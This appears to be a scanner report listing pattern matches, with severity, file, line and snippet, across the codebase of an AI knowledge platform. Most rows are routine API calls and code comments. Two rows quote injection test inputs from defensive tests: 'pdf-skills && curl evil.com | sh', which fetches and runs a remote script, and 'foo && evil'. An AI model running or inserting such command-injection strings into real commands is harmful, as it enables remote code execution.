| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 15380 | response = await self.client.policies.cross_tenant_access_policy.templates.multi_tenant_organization_partner | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 15600 | response = await self.client.tenant_relationships.multi_tenant_organization.join_request.get(request_configu | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 15676 | response = await self.client.tenant_relationships.multi_tenant_organization.tenants.get(request_configuratio | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 15750 | response = await self.client.tenant_relationships.multi_tenant_organization.tenants.by_tenant_id(multiTenant | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 15826 | response = await self.client.tenant_relationships.multi_tenant_organization.tenants.by_tenant_id(multiTenant | CODE |
| CRITICAL⚡ | …ources/external/microsoft/users_groups/users_groups.py | 15900 | response = await self.client.tenant_relationships.multi_tenant_organization.tenants.by_tenant_id(multiTenant | CODE |
| CRITICAL | backend/python/app/sources/client/azure/azure_blob.py | 6 | from azure.core.exceptions import AzureError # type: ignore | CODE |
| CRITICAL | backend/python/app/sources/client/azure/azure_files.py | 12 | from azure.core.exceptions import AzureError # type: ignore | CODE |
| CRITICAL | …/python/tests/unit/connectors/api/test_router_deep2.py | 388 | req.app.state.connector_registry.update_connector_instance.assert_called() | CODE |
| CRITICAL⚡ | …it/connectors/services/test_event_service_connector.py | 1339 | service.app_container.config_service.return_value.delete_config.assert_not_awaited() | CODE |
| CRITICAL⚡ | …/unit/agent_loop_lib/transport/test_openai_coverage.py | 394 | transport._client.chat.completions.create.assert_awaited_once() | CODE |
| CRITICAL | …n/tests/unit/agents/actions/test_confluence_toolset.py | 2281 | assert conf.client.get_pages_in_space.call_args.kwargs.get("sort") is None | CODE |
| CRITICAL⚡ | …sources/client/test_azure_blob_client_full_coverage.py | 62 | from azure.core.exceptions import AzureError as _AzureError | CODE |
| CRITICAL | …n/tests/unit/sources/client/test_azure_files_client.py | 638 | from azure.core.exceptions import AzureError | CODE |
| CRITICAL⚡ | …sts/unit/services/vector_db/test_opensearch_service.py | 1082 | body = svc.client.update_by_query.call_args.kwargs.get("body") or \ | CODE |
| CRITICAL⚡ | …sts/unit/services/vector_db/test_opensearch_service.py | 1084 | svc.client.update_by_query.call_args.kwargs.get("body", {}) | CODE |
| CRITICAL⚡ | …sts/unit/services/vector_db/test_opensearch_service.py | 1104 | body = svc.client.update_by_query.call_args.kwargs.get("body", {}) | CODE |
| CRITICAL⚡ | …on/tests/unit/services/graph_db/test_demo_exclusion.py | 75 | bind_vars = provider.http_client.execute_aql.await_args.kwargs.get("bind_vars") or provider.http_client.execute_aql. | CODE |
| CRITICAL | backend/python/code-generator/azure_blob/azure_blob.py | 471 | ' from azure.core.exceptions import AzureError # type: ignore', | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | install.sh | 49 | # This file is at the root of a checkout and the real installer is present. | COMMENT |
| MEDIUM | …egration-tests/helper/admin_route_conditional_world.py | 392 | # Creating an OAuth toolset with a client id and secret stores them as | COMMENT |
| MEDIUM⚡ | …/base/data_processor/data_source_entities_processor.py | 988 | # Create the edge using specialized method that includes edgeType in UPSERT match | COMMENT |
| MEDIUM⚡ | …/base/data_processor/data_source_entities_processor.py | 1736 | # Create a edge between the base record and the specific record if it doesn't exist - isOfType - File, Mail, Mes | COMMENT |
| MEDIUM⚡ | …/base/data_processor/data_source_entities_processor.py | 1745 | # Create a permission edge between the record and the app with sync status if it doesn't exist | COMMENT |
| MEDIUM | …/base/data_processor/data_source_entities_processor.py | 648 | # Create a new record group | COMMENT |
| MEDIUM | …/base/data_processor/data_source_entities_processor.py | 1698 | # Create a edge between the record and the parent record if it doesn't exist and if parent_record_id is provided | COMMENT |
| MEDIUM | …/base/data_processor/data_source_entities_processor.py | 3088 | # Define the edge document from child to parent RecordGroup | COMMENT |
| MEDIUM | …/base/data_processor/data_source_entities_processor.py | 3099 | # Create the edge using the same batch method | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/nextcloud/connector.py | 1325 | # Create a single app user for the current user | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/nextcloud/connector.py | 1338 | # Create a record group for the personal drive | COMMENT |
| MEDIUM | …/app/connectors/sources/google/drive/team/connector.py | 1111 | # Create a fallback permission with READ access for the current user | COMMENT |
| MEDIUM | …/app/connectors/sources/google/drive/team/connector.py | 1345 | # Create a record group for user's personal drive | COMMENT |
| MEDIUM⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 2693 | # Create a unique key for the group (use group_id as identifier) | COMMENT |
| MEDIUM | …ctors/sources/microsoft/sharepoint_online/connector.py | 678 | # Create a single temporary file with both private key and certificate | COMMENT |
| MEDIUM | …ctors/sources/microsoft/sharepoint_online/connector.py | 1341 | # Create a composite ID that includes drive_id for root folders | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/bookstack/connector.py | 469 | # Create a list of concurrent tasks to get the details for each role | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/bookstack/connector.py | 829 | # Create a map for quick user lookup by ID | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/bookstack/connector.py | 837 | # Create the AppRole object for the role. | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/bookstack/connector.py | 953 | # Create a permission object linking this user to this role. | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/bookstack/connector.py | 1087 | # Create the AppRole object | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/bookstack/connector.py | 1419 | # Define the required permissions for READ and WRITE access | COMMENT |
| MEDIUM | …d/python/app/connectors/sources/notion/block_parser.py | 2721 | # Create the group | COMMENT |
| MEDIUM | …kend/python/app/connectors/sources/notion/connector.py | 3251 | # Create a map of block source_id -> Block for quick lookup | COMMENT |
| MEDIUM | …kend/python/app/connectors/sources/zammad/connector.py | 2895 | # Create the record if it doesn't exist | COMMENT |
| MEDIUM | …kend/python/app/connectors/sources/zammad/connector.py | 3196 | # Create the record if it doesn't exist | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/dropbox/connector.py | 1190 | # Create a list of folders to sync: None for personal, plus all shared folder IDs | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/dropbox/connector.py | 1479 | # Create a time range that starts from "now" | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/dropbox/connector.py | 2034 | # Create the AppUserGroup and permissions (reused from _sync_user_groups section 3b-3c) | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/dropbox/connector.py | 2092 | # Create the AppUserGroup object (from _sync_user_groups section 3b) | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/localKB/connector.py | 149 | # Create a scoped JWT token for storage service authentication | COMMENT |
| MEDIUM | …end/python/app/connectors/sources/localKB/connector.py | 226 | # Create a scoped JWT token for storage service authentication | COMMENT |
| MEDIUM | backend/python/app/core/celery_app.py | 21 | # Create the Celery instance at module level | COMMENT |
| MEDIUM | backend/python/app/agents/actions/utils.py | 57 | # Create a temporary loop as last resort | COMMENT |
| MEDIUM | backend/python/app/agents/actions/google/meet/meet.py | 258 | # Create the Meet space | COMMENT |
| MEDIUM | backend/python/app/agents/actions/jira/jira.py | 161 | # Create a new dict to avoid modification during iteration | COMMENT |
| MEDIUM | backend/python/app/agents/actions/jira/jira.py | 1133 | # Create a copy to avoid modifying the original | COMMENT |
| MEDIUM | backend/python/app/utils/query_decompose.py | 240 | # Create the processing chain | COMMENT |
| MEDIUM | backend/python/app/utils/chat_helpers.py | 763 | # Create a logger for this module | COMMENT |
| MEDIUM | backend/python/app/utils/chat_helpers.py | 3324 | # Create the Block structure | COMMENT |
| MEDIUM | backend/python/app/sandbox/docker_executor.py | 441 | # Create the target directory then extract the deps tar into | COMMENT |
| MEDIUM⚡ | …ckend/python/app/sources/external/nextcloud/example.py | 138 | # Create a Public Link Share (Type 3) | COMMENT |
| MEDIUM | …kend/python/app/sources/external/google/drive/drive.py | 884 | # Create a file-like object from the content | COMMENT |
| MEDIUM | …kend/python/app/sources/external/google/drive/drive.py | 888 | # Create the file with media upload | COMMENT |
| MEDIUM | backend/python/app/sources/external/linear/example.py | 94 | # Create a new issue (commented out due to API limitations) | COMMENT |
| MEDIUM | …ckend/python/app/sources/external/bookstack/example.py | 48 | # Create the data source | COMMENT |
| MEDIUM | backend/python/app/sources/external/zammad/example.py | 62 | # Create a new ticket | COMMENT |
| MEDIUM | …nd/python/app/sources/external/dropbox/pretty_print.py | 6 | # Define a recursive type for JSON-serializable objects | COMMENT |
| MEDIUM | backend/python/app/sources/external/dropbox/example.py | 92 | # # Create a folder | COMMENT |
| MEDIUM | backend/python/app/sources/external/posthog/example.py | 192 | # Create a new dashboard | COMMENT |
| MEDIUM | backend/python/app/sources/external/posthog/example.py | 244 | # Create a cohort | COMMENT |
| MEDIUM | backend/python/app/sources/external/posthog/example.py | 291 | # Create a feature flag | COMMENT |
| MEDIUM | backend/python/app/sources/external/posthog/example.py | 353 | # Create an action | COMMENT |
| MEDIUM | backend/python/app/sources/external/posthog/example.py | 427 | # Create an annotation | COMMENT |
| MEDIUM | backend/python/app/sources/external/posthog/example.py | 493 | # Create the data source | COMMENT |
| MEDIUM | backend/python/app/api/routes/agent.py | 2679 | # Create the org permission edge | COMMENT |
| MEDIUM | backend/python/app/events/processor.py | 2092 | # Create a file-like stream from the JSON content | COMMENT |
| MEDIUM | backend/python/app/modules/parsers/pptx/pptx_parser.py | 27 | # Create a BytesIO object from the bytes | COMMENT |
| MEDIUM | backend/python/app/modules/parsers/pptx/pptx_parser.py | 30 | # Create a DocumentStream | COMMENT |
| MEDIUM | …kend/python/app/modules/parsers/sql/sql_view_parser.py | 74 | # Create the main BlockGroup for the View (contains all needed data) | COMMENT |
| 75 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | integration-tests/unit/test_sse_envelope_schema.py | 50 | '"downloaded_bytes":567000000,"total_bytes":1340000000,"error":null,"timestamp":1789072618883}' | CODE |
| HIGH | integration-tests/resilience/test_storage_unwritable.py | 95 | "pipeshub-ai", ["sh", "-c", f"[ -d {LOCAL_STORAGE_ROOT}/{LOCAL_STORAGE_MOUNT} ] && echo local || echo other"] | CODE |
| HIGH | …response-validation/helper/openapi_schema_validator.py | 66 | # `{}` and `{type: null}`, and oneOf requires exactly one match. | COMMENT |
| HIGH | …end/python/app/connectors/sources/s3/base_connector.py | 1138 | # Root-level items: parent must be null, not the bucket | COMMENT |
| HIGH | …end/python/app/connectors/sources/s3/base_connector.py | 1604 | # Root-level items: parent must be null, not the bucket | COMMENT |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 168 | " if (!w.__vstab || len !== w.__vstab) {" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 174 | " if (main && len >= 100 && stable >= 800) return true;" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 177 | " if (m.reqs > 0 && elapsed < 10000) return false;" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 178 | " if (m.lastDone > 0 && (now - m.lastDone) < 1500 && elapsed < 15000) return false;" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 179 | " if (m.hasMut && (now - m.lastMut) < 1500 && elapsed < 15000) return false;" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 181 | " if (len >= 100 && stable >= 800) return true;" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 182 | " if (elapsed >= 15000 && len > 0 && stable >= 500) return true;" | CODE |
| HIGH⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 202 | if (!container || __groups.has(container)) continue; | CODE |
| HIGH | …kend/python/app/connectors/sources/notion/connector.py | 3688 | "avatar_url": null, | STRING |
| HIGH | …n/app/agent_loop_lib/sandbox/coding/egress_firewall.py | 220 | "command -v setpriv >/dev/null 2>&1 || fail 'setpriv not found'", | CODE |
| HIGH | backend/python/app/agent_loop_lib/sandbox/coding/e2b.py | 372 | f"test -f {_WORKING_DIR}/package.json || npm init -y", timeout=60.0, | CODE |
| HIGH | …end/python/app/agent_loop_lib/sandbox/coding/docker.py | 774 | "mkdir -p /install && npm install --prefix /install --no-save " | CODE |
| HIGH | backend/python/app/agent_loop_lib/serve/playground.py | 81 | let currentController = null; | CODE |
| HIGH | backend/python/app/agent_loop_lib/serve/playground.py | 120 | logEvent("error", { error: text || resp.statusText }); | CODE |
| HIGH | backend/python/app/agent_loop_lib/serve/playground.py | 164 | err.textContent = "\\n[error] " + (payload.error || JSON.stringify(payload)); | CODE |
| HIGH | backend/python/app/agent_loop_lib/serve/playground.py | 173 | currentController = null; | CODE |
| HIGH | backend/python/app/agents/actions/s3/s3.py | 267 | description="ISO format timestamp (e.g., '2024-01-01T00:00:00Z'). If provided, only objects modified aft | CODE |
| HIGH | …thon/app/agents/actions/knowledge_hub/knowledge_hub.py | 242 | # or empty list instead of null) | COMMENT |
| HIGH | backend/python/app/agents/actions/jira/jira.py | 1159 | # Remove redundant metadata fields (only if empty/null) | COMMENT |
| HIGH | backend/python/app/models/entities.py | 412 | # rejects these keys, even as null, during a rolling upgrade. | COMMENT |
| HIGH | backend/python/app/sandbox/docker_executor.py | 264 | f"mkdir -p /install && cd /install && " | CODE |
| HIGH | …python/app/sources/external/drupal_wiki/drupal_wiki.py | 460 | tags: The existing tags to assign - by exact name not ID. If field is null, tags won't be changed; If empty, | STRING |
| HIGH | …python/app/sources/external/drupal_wiki/drupal_wiki.py | 461 | categories: The existing categories to assign - by exact name not ID. If field is null, categories won't be | STRING |
| HIGH | …d/python/app/sources/external/confluence/confluence.py | 9068 | "nextPageCursor": null, | STRING |
| HIGH | …/sources/external/salesforce/salesforce_data_source.py | 16201 | q: Optional, Performs an SOSL search. If the query string is null, empty, or not given, an SOQL query runs. | STRING |
| HIGH | backend/python/app/api/routes/parsing.py | 111 | "block_container": { ... } | null, | STRING |
| HIGH | backend/python/app/api/routes/parsing.py | 112 | "raw_document": "<serialized DoclingDocument>" | null, | STRING |
| HIGH | …d/python/app/services/graph_db/entity_index_queries.py | 135 | scope = f"({scope} OR n.{spec.scope_field} == null)" | STRING |
| HIGH | …hon/app/services/messaging/scheduling/drr_scheduler.py | 105 | child.push(key, entry) | CODE |
| HIGH | …hon/app/services/messaging/scheduling/drr_scheduler.py | 296 | self._root.push(key, _Entry(item=item, not_before=not_before)) | CODE |
| HIGH | …ectors/sources/test_dropbox_connector_full_coverage.py | 963 | the ApiError is caught by that inner except. Then 'result' is undefined, causing | STRING |
| HIGH | …ests/unit/connectors/sources/test_dropbox_connector.py | 2719 | the ApiError is caught by that inner except. Then 'result' is undefined, causing | STRING |
| HIGH | …nit/connectors/sources/test_github_teams/test_repos.py | 161 | (Neo4j SET n += null), so absent dates must be omitted, never sent.""" | STRING |
| HIGH⚡ | backend/python/tests/unit/sandbox/test_models.py | 184 | validate_packages(["foo && evil"]) | CODE |
| HIGH | …/parsers/real_files/test_realfile_markdown_fidelity.py | 23 | if (a && b) { run(); } | CODE |
| HIGH⚡ | …/parsers/real_files/test_realfile_markdown_fidelity.py | 37 | assert code.data == "List<String> names = new ArrayList<>();\nif (a && b) { run(); }" | STRING |
| HIGH⚡ | …/parsers/real_files/test_realfile_markdown_fidelity.py | 50 | text = "Replace <customer name> with the account owner.\nUse x -> y && y -> z.\n" | STRING |
| HIGH⚡ | …t/modules/agents/context/test_tool_result_extractor.py | 111 | assert ToolResultExtractor.extract_success_status('{"error": null}') is True | CODE |
| HIGH⚡ | …/graph_db/test_filter_accessible_virtual_record_ids.py | 241 | """`<> true` is NOT null-safe in Cypher — `null <> true` is null, which | STRING |
| HIGH⚡ | …ts/unit/services/graph_db/test_arango_entity_access.py | 116 | assert "LET principals = APPEND([{ from: user_from, connectorId: null }], links, true)" in query | CODE |
| HIGH⚡ | …services/graph_db/test_records_by_virtual_record_id.py | 68 | `<> true` is not null-safe in Cypher: `null <> true` is null, which WHERE | STRING |
| HIGH⚡ | …ts/unit/services/graph_db/test_entity_index_queries.py | 188 | assert "(n.orgId == @scope_id OR n.orgId == null)" in query | CODE |
| HIGH⚡ | …ts/unit/services/graph_db/test_entity_index_queries.py | 199 | assert "name: n.groupName || n.name" in _arango_call(arango)[0] | CODE |
| HIGH⚡ | …/tests/unit/services/skills/test_npm_command_parser.py | 118 | "pdf-skills && curl evil.com | sh", | CODE |
| HIGH | …unit/services/messaging/test_redis_streams_consumer.py | 301 | """When JSON parses to None (literal null), message should be skipped.""" | STRING |
| HIGH | …tegration/test_soft_delete_fetch_full_record_fk_e2e.py | 26 | cd backend/python && pytest tests/integration/test_soft_delete_fetch_full_record_fk_e2e.py -m integration | STRING |
| HIGH | …ntegration/test_connector_delete_vector_cleanup_e2e.py | 21 | cd backend/python && pytest tests/integration/test_connector_delete_vector_cleanup_e2e.py -m integration | STRING |
| HIGH | …on/tests/integration/test_soft_delete_checklist_e2e.py | 30 | cd backend/python && pytest tests/integration/test_soft_delete_checklist_e2e.py -m integration | STRING |
| HIGH | …on/tests/integration/test_stranded_record_sweep_e2e.py | 24 | cd backend/python && pytest tests/integration/test_stranded_record_sweep_e2e.py -m integration | STRING |
| HIGH | …thon/tests/integration/test_soft_delete_chat_fk_e2e.py | 24 | cd backend/python && pytest tests/integration/test_soft_delete_chat_fk_e2e.py -m integration | STRING |
| HIGH | …python/tests/integration/test_record_visibility_e2e.py | 24 | cd backend/python && pytest tests/integration/test_record_visibility_e2e.py -m integration | STRING |
| HIGH | backend/python/tests/integration/test_trash_list_e2e.py | 31 | cd backend/python && pytest tests/integration/test_trash_list_e2e.py -m integration | STRING |
| HIGH | …thon/tests/integration/test_soft_delete_restore_e2e.py | 726 | "UPDATE @key WITH { isDeleted: null } IN records OPTIONS { keepNull: false }", | CODE |
| HIGH | …thon/tests/integration/test_soft_delete_restore_e2e.py | 39 | cd backend/python && pytest tests/integration/test_soft_delete_restore_e2e.py -m integration | STRING |
| HIGH | …thon/tests/integration/test_soft_delete_vectors_e2e.py | 28 | cd backend/python && pytest tests/integration/test_soft_delete_vectors_e2e.py -m integration | STRING |
| 29 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 766 | # Step 1: Ensure external client is initialized | COMMENT |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 770 | # Step 2: Get users from external API (if applicable) | COMMENT |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 773 | # Step 3: Get active users from database to filter | COMMENT |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 777 | # Step 4: Process users/entities and sync data | COMMENT |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 795 | # Step 1: Extract record metadata | COMMENT |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 798 | # Step 2: Download content from external API | COMMENT |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 801 | # Step 3: Return streaming response | COMMENT |
| LOW⚡ | …)/workspace/groups/components/create-group-sidebar.tsx | 74 | // Step 1: Create the group | COMMENT |
| LOW⚡ | …)/workspace/groups/components/create-group-sidebar.tsx | 77 | // Step 2: Add users if any were selected | COMMENT |
| LOW⚡ | frontend/tests/e2e/chat/chat-ask-user-question.spec.ts | 862 | // Step 1: select first option, click Next | COMMENT |
| LOW⚡ | frontend/tests/e2e/chat/chat-ask-user-question.spec.ts | 867 | // Step 2: wait for new radios to render, select first option | COMMENT |
| LOW⚡ | …sponse-validation/auth/integration_test_userAccount.py | 350 | # Step 1: Change to temporary password | COMMENT |
| LOW | …sponse-validation/auth/integration_test_userAccount.py | 364 | # Step 2: Login with temporary password and restore original | COMMENT |
| LOW⚡ | …ules/configuration_manager/controller/cm_controller.ts | 2235 | // Step 2: Remove BEGIN and END certificate markers if present | COMMENT |
| LOW⚡ | …ules/configuration_manager/controller/cm_controller.ts | 2243 | // Step 3: Ensure the certificate content is clean | COMMENT |
| LOW | …pp/connectors/core/base/connector/connector_service.py | 434 | # Step 1: ensure the USER -> APP edge (``USER_APP_RELATION``) exists. | COMMENT |
| LOW⚡ | …pp/connectors/core/base/connector/connector_service.py | 457 | # Step 2: upsert the ConnectorGroup and the USER -> GROUP membership | COMMENT |
| LOW⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 191 | // Step 1: Find tab groups by locating active tab indicators and their siblings. | COMMENT |
| LOW⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 210 | // Step 2: Find all panel containers that may receive swapped content. | COMMENT |
| LOW | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 224 | // Step 3: For each tab group, click every tab, snapshot panel content, | COMMENT |
| LOW | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 247 | // Step 4: Force all panels visible. | COMMENT |
| LOW | backend/python/app/connectors/sources/web/connector.py | 864 | # Step 2: create record group with permissions | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 524 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 528 | # Step 2: Sync user groups and their members | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 532 | # Step 3: Sync record groups (drives) for users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 539 | # Step 4: Settle the folder filter scope across all users before any of | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 547 | # Step 5: Process user drives in batches (includes personal drive and shared drives) | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 562 | # Step 6: Remove what changed sync filters now leave out | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 565 | # Step 7: Grant external collaborators app membership. Runs after the file | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 570 | # Step 8: drop membership for collaborators whose shares were revoked at the | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 1289 | # Step 2: Create "My Drive" record groups for each user | COMMENT |
| LOW | …/app/connectors/sources/google/drive/team/connector.py | 1243 | # Step 1: Sync shared drives | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1922 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1926 | # Step 2: Sync user groups and their members | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1930 | # Step 3: Sync record groups for users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1934 | # Step 4: Process user mailboxes in batches | COMMENT |
| LOW⚡ | …app/connectors/sources/microsoft/onedrive/connector.py | 1906 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …app/connectors/sources/microsoft/onedrive/connector.py | 1910 | # Step 2: Sync user groups and their members | COMMENT |
| LOW⚡ | …app/connectors/sources/microsoft/onedrive/connector.py | 1914 | # Step 3: Process user drives with yielding for non-blocking operation | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 3802 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 3806 | # Step 2: Sync user groups | COMMENT |
| LOW⚡ | …ctors/sources/microsoft/sharepoint_online/connector.py | 3814 | # Step 3: Discover and sync sites | COMMENT |
| LOW | …ctors/sources/microsoft/sharepoint_online/connector.py | 3853 | # Step 4: Process sites in batches | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 613 | # Step 1: Get active users from system | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 619 | # Step 2: Fetch and sync Linear users | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 625 | # Step 3: Get team_ids filter and fetch teams | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 643 | # Step 4: Build email map from already-synced users for team member lookup | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 650 | # Step 5: Fetch and sync teams (as both UserGroups and RecordGroups) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 685 | # Step 8: Sync attachments separately (Linear doesn't update issue.updatedAt when attachments are added) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 688 | # Step 9: Sync documents separately (Linear doesn't update issue.updatedAt when documents are added) | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 691 | # Step 10: Sync projects | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 694 | # Step 11: Sync deleted issues | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 697 | # Step 12: Sync deleted projects | COMMENT |
| LOW⚡ | …kend/python/app/connectors/sources/linear/connector.py | 700 | # Step 13: Backfill placeholder parent stubs left by date/incremental filters | COMMENT |
| LOW | …kend/python/app/connectors/sources/linear/connector.py | 668 | # Step 7: Sync issues for teams | COMMENT |
| LOW⚡ | backend/python/app/connectors/sources/rss/connector.py | 406 | # Step 2: Process each feed | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 536 | # Step 1: Sync all users | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 540 | # Step 2: Sync all user groups (roles in BookStack) | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 544 | # Step 3: Sync record groups (books and shelves) | COMMENT |
| LOW⚡ | …d/python/app/connectors/sources/bookstack/connector.py | 548 | # Step 4: Sync all records (pages, chapters, attachments) | COMMENT |
| 138 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …)/workspace/groups/components/create-group-sidebar.tsx | 74 | // Step 1: Create the group | COMMENT |
| LOW⚡ | …)/workspace/groups/components/create-group-sidebar.tsx | 77 | // Step 2: Add users if any were selected | COMMENT |
| LOW⚡ | frontend/tests/e2e/chat/chat-ask-user-question.spec.ts | 862 | // Step 1: select first option, click Next | COMMENT |
| LOW⚡ | frontend/tests/e2e/chat/chat-ask-user-question.spec.ts | 867 | // Step 2: wait for new radios to render, select first option | COMMENT |
| LOW⚡ | …sponse-validation/auth/integration_test_userAccount.py | 350 | # Step 1: Change to temporary password | COMMENT |
| LOW | …sponse-validation/auth/integration_test_userAccount.py | 364 | # Step 2: Login with temporary password and restore original | COMMENT |
| LOW⚡ | …ules/configuration_manager/controller/cm_controller.ts | 2235 | // Step 2: Remove BEGIN and END certificate markers if present | COMMENT |
| LOW⚡ | …ules/configuration_manager/controller/cm_controller.ts | 2243 | // Step 3: Ensure the certificate content is clean | COMMENT |
| LOW | …pp/connectors/core/base/connector/connector_service.py | 434 | # Step 1: ensure the USER -> APP edge (``USER_APP_RELATION``) exists. | COMMENT |
| LOW⚡ | …pp/connectors/core/base/connector/connector_service.py | 457 | # Step 2: upsert the ConnectorGroup and the USER -> GROUP membership | COMMENT |
| LOW⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 191 | // Step 1: Find tab groups by locating active tab indicators and their siblings. | COMMENT |
| LOW⚡ | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 210 | // Step 2: Find all panel containers that may receive swapped content. | COMMENT |
| LOW | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 224 | // Step 3: For each tab group, click every tab, snapshot panel content, | COMMENT |
| LOW | …/python/app/connectors/sources/web/crawl4ai_fetcher.py | 247 | // Step 4: Force all panels visible. | COMMENT |
| LOW | backend/python/app/connectors/sources/web/connector.py | 864 | # Step 2: create record group with permissions | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 524 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 528 | # Step 2: Sync user groups and their members | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 532 | # Step 3: Sync record groups (drives) for users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 539 | # Step 4: Settle the folder filter scope across all users before any of | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 547 | # Step 5: Process user drives in batches (includes personal drive and shared drives) | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 562 | # Step 6: Remove what changed sync filters now leave out | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 565 | # Step 7: Grant external collaborators app membership. Runs after the file | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 570 | # Step 8: drop membership for collaborators whose shares were revoked at the | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/drive/team/connector.py | 1289 | # Step 2: Create "My Drive" record groups for each user | COMMENT |
| LOW | …/app/connectors/sources/google/drive/team/connector.py | 1243 | # Step 1: Sync shared drives | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1922 | # Step 1: Sync users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1926 | # Step 2: Sync user groups and their members | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1930 | # Step 3: Sync record groups for users | COMMENT |
| LOW⚡ | …/app/connectors/sources/google/gmail/team/connector.py | 1934 | # Step 4: Process user mailboxes in batches | COMMENT |
